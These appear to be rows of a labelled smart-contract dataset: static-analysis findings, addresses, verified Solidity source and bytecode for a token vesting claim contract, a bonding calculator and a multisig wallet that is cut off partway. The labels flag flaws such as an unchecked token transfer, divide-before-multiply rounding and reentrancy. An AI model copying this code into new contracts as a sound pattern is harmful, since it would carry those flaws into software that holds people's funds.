{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,494 |
0x38d6B1DcD5A21f80B9544c7BbfDBbA0dDc9fb5A6
|
/**
*Submitted for verification at Etherscan.io on 2021-09-24
*/
pragma solidity ^0.5.12;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//TODO add safemath
interface IDPR {
function transferFrom(address _spender, address _to, uint256 _amount) external returns(bool);
function transfer(address _to, uint256 _amount) external returns(bool);
function balanceOf(address _owner) external view returns(uint256);
}
contract MerkleClaim {
using SafeMath for uint256;
bytes32 public root;
IDPR public dpr;
//system info
address public owner;
uint256 public total_release_periods = 90;
uint256 public start_time = 1631548800; //2021 年 09 月 14 日 00:00
// uer info
mapping(address=>uint256) public total_lock_amount;
mapping(address=>uint256) public release_per_period;
mapping(address=>uint256) public user_released;
mapping(bytes32=>bool) public claimMap;
mapping(address=>bool) public userMap;
//=====events=======
event claim(address _addr, uint256 _amount);
event distribute(address _addr, uint256 _amount);
event OwnerTransfer(address _newOwner);
//====modifiers====
modifier onlyOwner(){
require(owner == msg.sender);
_;
}
constructor(bytes32 _root, address _token) public{
root = _root;
dpr = IDPR(_token);
owner = msg.sender;
}
function transferOwnerShip(address _newOwner) onlyOwner external {
require(_newOwner != address(0), "MerkleClaim: Wrong owner");
owner = _newOwner;
emit OwnerTransfer(_newOwner);
}
function setClaim(bytes32 node) private {
claimMap[node] = true;
}
function distributeAndLock(address _addr, uint256 _amount, bytes32[] memory proof) public{
require(!userMap[_addr], "MerkleClaim: Account is already claimed");
bytes32 node = keccak256(abi.encodePacked(_addr, _amount));
require(!claimMap[node], "MerkleClaim: Account is already claimed");
require(MerkleProof.verify(proof, root, node), "MerkleClaim: Verify failed");
//update status
setClaim(node);
uint256 half_amount = _amount.div(2);
dpr.transfer(_addr, half_amount);
lockTokens(_addr, _amount.sub(half_amount));
userMap[_addr] = true;
emit distribute(_addr, _amount);
}
function lockTokens(address _addr, uint256 _amount) private{
total_lock_amount[_addr] = _amount;
release_per_period[_addr] = _amount.div(total_release_periods);
}
function claimTokens() external {
require(total_lock_amount[msg.sender] != 0, "User does not have lock record");
require(total_lock_amount[msg.sender].sub(user_released[msg.sender]) > 0, "all token has been claimed");
uint256 periods = block.timestamp.sub(start_time).div(1 days);
uint256 total_release_amount = release_per_period[msg.sender].mul(periods);
if(total_release_amount >= total_lock_amount[msg.sender]){
total_release_amount = total_lock_amount[msg.sender];
}
uint256 release_amount = total_release_amount.sub(user_released[msg.sender]);
// update user info
user_released[msg.sender] = total_release_amount;
require(dpr.balanceOf(address(this)) >= release_amount, "MerkleClaim: Balance not enough");
require(dpr.transfer(msg.sender, release_amount), "MerkleClaim: Transfer Failed");
emit claim(msg.sender, release_amount);
}
function unreleased() external view returns(uint256){
return total_lock_amount[msg.sender].sub(user_released[msg.sender]);
}
function withdraw(address _to) external onlyOwner{
require(dpr.transfer(_to, dpr.balanceOf(address(this))), "MerkleClaim: Transfer Failed");
}
function pullTokens(uint256 _amount) external {
require(dpr.transferFrom(msg.sender, address(this), _amount), "MerkleClaim: TransferFrom failed");
}
}
|
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c80637e0db6cc11610097578063c7fef17e11610066578063c7fef17e14610336578063ebf0c7171461033e578063f03d667214610346578063f63013aa1461034e576100ff565b80637e0db6cc146102c7578063834ee417146102e45780638863dd1a146102ec5780638da5cb5b14610312576100ff565b806348c54b9d116100d357806348c54b9d1461024d57806351cff8d91461025557806356d6e72d1461027b578063621f7b0a146102a1576100ff565b8062ec4e4a14610104578063118df67e146101be57806322d761c3146101f65780632bcc23f814610227575b600080fd5b6101bc6004803603606081101561011a57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561014a57600080fd5b82018360208201111561015c57600080fd5b8035906020019184602083028401116401000000008311171561017e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610356945050505050565b005b6101e4600480360360208110156101d457600080fd5b50356001600160a01b03166105ba565b60408051918252519081900360200190f35b6102136004803603602081101561020c57600080fd5b50356105cc565b604080519115158252519081900360200190f35b6102136004803603602081101561023d57600080fd5b50356001600160a01b03166105e1565b6101bc6105f6565b6101bc6004803603602081101561026b57600080fd5b50356001600160a01b031661095d565b6101e46004803603602081101561029157600080fd5b50356001600160a01b0316610ac3565b6101e4600480360360208110156102b757600080fd5b50356001600160a01b0316610ad5565b6101bc600480360360208110156102dd57600080fd5b5035610ae7565b6101e4610bbe565b6101bc6004803603602081101561030257600080fd5b50356001600160a01b0316610bc4565b61031a610c8a565b604080516001600160a01b039092168252519081900360200190f35b6101e4610c99565b6101e4610c9f565b6101e4610ca5565b61031a610cd4565b6001600160a01b03831660009081526009602052604090205460ff16156103ae5760405162461bcd60e51b8152600401808060200182810382526027815260200180610fd96027913960400191505060405180910390fd5b604080516bffffffffffffffffffffffff19606086901b1660208083019190915260348083018690528351808403909101815260549092018352815191810191909120600081815260089092529190205460ff161561043e5760405162461bcd60e51b8152600401808060200182810382526027815260200180610fd96027913960400191505060405180910390fd5b61044b8260005483610ce3565b61049c576040805162461bcd60e51b815260206004820152601a60248201527f4d65726b6c65436c61696d3a20566572696679206661696c6564000000000000604482015290519081900360640190fd5b6104a581610d8c565b60006104b884600263ffffffff610da716565b6001546040805163a9059cbb60e01b81526001600160a01b03898116600483015260248201859052915193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561051057600080fd5b505af1158015610524573d6000803e3d6000fd5b505050506040513d602081101561053a57600080fd5b50610556905085610551868463ffffffff610df216565b610e34565b6001600160a01b038516600081815260096020908152604091829020805460ff191660011790558151928352820186905280517ffb9321085d4e4bed997685c66125572b6a0104e335681818c35b3b4d57726d6e9281900390910190a15050505050565b60056020526000908152604090205481565b60086020526000908152604090205460ff1681565b60096020526000908152604090205460ff1681565b33600090815260056020526040902054610657576040805162461bcd60e51b815260206004820152601e60248201527f5573657220646f6573206e6f742068617665206c6f636b207265636f72640000604482015290519081900360640190fd5b3360009081526007602090815260408083205460059092528220546106819163ffffffff610df216565b116106d3576040805162461bcd60e51b815260206004820152601a60248201527f616c6c20746f6b656e20686173206265656e20636c61696d6564000000000000604482015290519081900360640190fd5b60006106fd620151806106f160045442610df290919063ffffffff16565b9063ffffffff610da716565b3360009081526006602052604081205491925090610721908363ffffffff610e8316565b33600090815260056020526040902054909150811061074c5750336000908152600560205260409020545b3360009081526007602052604081205461076d90839063ffffffff610df216565b3360009081526007602090815260409182902085905560015482516370a0823160e01b8152306004820152925193945084936001600160a01b03909116926370a08231926024808301939192829003018186803b1580156107cd57600080fd5b505afa1580156107e1573d6000803e3d6000fd5b505050506040513d60208110156107f757600080fd5b5051101561084c576040805162461bcd60e51b815260206004820152601f60248201527f4d65726b6c65436c61696d3a2042616c616e6365206e6f7420656e6f75676800604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156108a057600080fd5b505af11580156108b4573d6000803e3d6000fd5b505050506040513d60208110156108ca57600080fd5b505161091d576040805162461bcd60e51b815260206004820152601c60248201527f4d65726b6c65436c61696d3a205472616e73666572204661696c656400000000604482015290519081900360640190fd5b604080513381526020810183905281517faad3ec96b23739e5c653e387e24c59f5fc4a0724c18ad1970feb0d1444981fac929181900390910190a1505050565b6002546001600160a01b0316331461097457600080fd5b600154604080516370a0823160e01b815230600482015290516001600160a01b039092169163a9059cbb91849184916370a08231916024808301926020929190829003018186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d60208110156109f257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610a4357600080fd5b505af1158015610a57573d6000803e3d6000fd5b505050506040513d6020811015610a6d57600080fd5b5051610ac0576040805162461bcd60e51b815260206004820152601c60248201527f4d65726b6c65436c61696d3a205472616e73666572204661696c656400000000604482015290519081900360640190fd5b50565b60066020526000908152604090205481565b60076020526000908152604090205481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610b4157600080fd5b505af1158015610b55573d6000803e3d6000fd5b505050506040513d6020811015610b6b57600080fd5b5051610ac0576040805162461bcd60e51b815260206004820181905260248201527f4d65726b6c65436c61696d3a205472616e7366657246726f6d206661696c6564604482015290519081900360640190fd5b60045481565b6002546001600160a01b03163314610bdb57600080fd5b6001600160a01b038116610c36576040805162461bcd60e51b815260206004820152601860248201527f4d65726b6c65436c61696d3a2057726f6e67206f776e65720000000000000000604482015290519081900360640190fd5b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517fcef55b6688c0d2198b4841b7c6a8247f60385b4b5ce83e22506fb3258036379b9181900360200190a150565b6002546001600160a01b031681565b60035481565b60005481565b336000908152600760209081526040808320546005909252822054610ccf9163ffffffff610df216565b905090565b6001546001600160a01b031681565b600081815b8551811015610d81576000868281518110610cff57fe5b60200260200101519050808311610d465782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250610d78565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101610ce8565b509092149392505050565b6000908152600860205260409020805460ff19166001179055565b6000610de983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610edc565b90505b92915050565b6000610de983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7e565b6001600160a01b0382166000908152600560205260409020819055600354610e6390829063ffffffff610da716565b6001600160a01b0390921660009081526006602052604090209190915550565b600082610e9257506000610dec565b82820282848281610e9f57fe5b0414610de95760405162461bcd60e51b81526004018080602001828103825260218152602001806110006021913960400191505060405180910390fd5b60008183610f685760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f2d578181015183820152602001610f15565b50505050905090810190601f168015610f5a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f7457fe5b0495945050505050565b60008184841115610fd05760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610f2d578181015183820152602001610f15565b50505090039056fe4d65726b6c65436c61696d3a204163636f756e7420697320616c726561647920636c61696d6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158209088ffa6ef290ce35d5348069b93b890fb7eefbd0bd99eecce3651e26c85200e64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,495 |
0xB34bb944906E78184e3d86a20466d55830275728
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns ( address );
function token1() external view returns ( address );
}
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract GenerationalWealthSocietyBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using SafeMath for uint;
using SafeMath for uint112;
address public immutable GWS;
constructor( address _GWS ) {
require( _GWS != address(0) );
GWS = _GWS;
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() );
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
k_ = reserve0.mul(reserve1).div( 10 ** decimals );
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == GWS ) {
reserve = reserve1;
} else {
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** IERC20( GWS ).decimals() ) ).div( getTotalValue( _pair ) );
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806332da80a31461005c5780634249719f14610094578063490084ef146100c0578063508f1832146100e6578063686375491461010a575b600080fd5b6100826004803603602081101561007257600080fd5b50356001600160a01b0316610130565b60408051918252519081900360200190f35b610082600480360360408110156100aa57600080fd5b506001600160a01b038135169060200135610313565b610082600480360360208110156100d657600080fd5b50356001600160a01b03166103bb565b6100ee6106a1565b604080516001600160a01b039092168252519081900360200190f35b6100826004803603602081101561012057600080fd5b50356001600160a01b03166106c5565b6000806000836001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561016e57600080fd5b505afa158015610182573d6000803e3d6000fd5b505050506040513d606081101561019857600080fd5b50805160209182015160408051630dfe168160e01b815290516001600160701b0393841696509290911693506000926001600160a01b037f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d781169390891692630dfe1681926004808301939192829003018186803b15801561021957600080fd5b505afa15801561022d573d6000803e3d6000fd5b505050506040513d602081101561024357600080fd5b50516001600160a01b0316141561025b57508061025e565b50815b61030861026a866106c5565b6103027f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d76001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d60208110156102f057600080fd5b5051849060ff16600a0a6002026106e9565b90610749565b93505050505b919050565b60008061031f846106c5565b90506000846001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561035c57600080fd5b505afa158015610370573d6000803e3d6000fd5b505050506040513d602081101561038657600080fd5b505190506103b2670de0b6b3a76400006103026103ab6103a6888661078b565b610902565b85906106e9565b95945050505050565b600080826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156103f757600080fd5b505afa15801561040b573d6000803e3d6000fd5b505050506040513d602081101561042157600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561046557600080fd5b505afa158015610479573d6000803e3d6000fd5b505050506040513d602081101561048f57600080fd5b50516040805163d21220a760e01b8152905160ff90921692506000916001600160a01b0386169163d21220a7916004808301926020929190829003018186803b1580156104db57600080fd5b505afa1580156104ef573d6000803e3d6000fd5b505050506040513d602081101561050557600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561054957600080fd5b505afa15801561055d573d6000803e3d6000fd5b505050506040513d602081101561057357600080fd5b50516040805163313ce56760e01b8152905160ff9092169250600091610603916001600160a01b0388169163313ce56791600480820192602092909190829003018186803b1580156105c457600080fd5b505afa1580156105d8573d6000803e3d6000fd5b505050506040513d60208110156105ee57600080fd5b505160ff166105fd858561091a565b90610974565b9050600080866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d606081101561066b57600080fd5b5080516020909101516001600160701b039182169350169050610696600a84900a61030284846106e9565b979650505050505050565b7f00000000000000000000000036f17bd0f7028c784b2e0c9b5a65dbe071a902d781565b60006106e360026106dd6106d8856103bb565b6109b6565b906106e9565b92915050565b6000826106f8575060006106e3565b8282028284828161070557fe5b04146107425760405162461bcd60e51b8152600401808060200182810382526021815260200180610c876021913960400191505060405180910390fd5b9392505050565b600061074283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a20565b610793610c4e565b600082116107d25760405162461bcd60e51b8152600401808060200182810382526026815260200180610c616026913960400191505060405180910390fd5b826107ec57506040805160208101909152600081526106e3565b71ffffffffffffffffffffffffffffffffffff831161089357600082607085901b8161081457fe5b0490506001600160e01b03811115610873576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280826001600160e01b03168152509150506106e3565b60006108a484600160701b85610ac2565b90506001600160e01b03811115610873576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab6001600160e01b039091160490565b600082820183811015610742576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061074283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b57565b60006003821115610a1257508060006109da6109d3836002610749565b600161091a565b90505b81811015610a0c57809150610a056109fe6109f88584610749565b8361091a565b6002610749565b90506109dd565b5061030e565b811561030e57506001919050565b60008183610aac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a71578181015183820152602001610a59565b50505050905090810190601f168015610a9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ab857fe5b0495945050505050565b6000806000610ad18686610bb1565b9150915060008480610adf57fe5b868809905082811115610af3576001820391505b8083039250848210610b4c576040805162461bcd60e51b815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b610696838387610bde565b60008184841115610ba95760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610a71578181015183820152602001610a59565b505050900390565b6000808060001984860990508385029250828103915082811015610bd6576001820391505b509250929050565b60008181038216808381610bee57fe5b049250808581610bfa57fe5b049450808160000381610c0957fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040805160208101909152600081529056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e949f8aab1de7bfc830094d3c8548fce0cdfa82d6e94626d36efdbb8505a53ea64736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,496 |
0x4c20d0ab4baadbce39fe6ac94cefd99b7686339c
|
pragma solidity 0.4.19;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
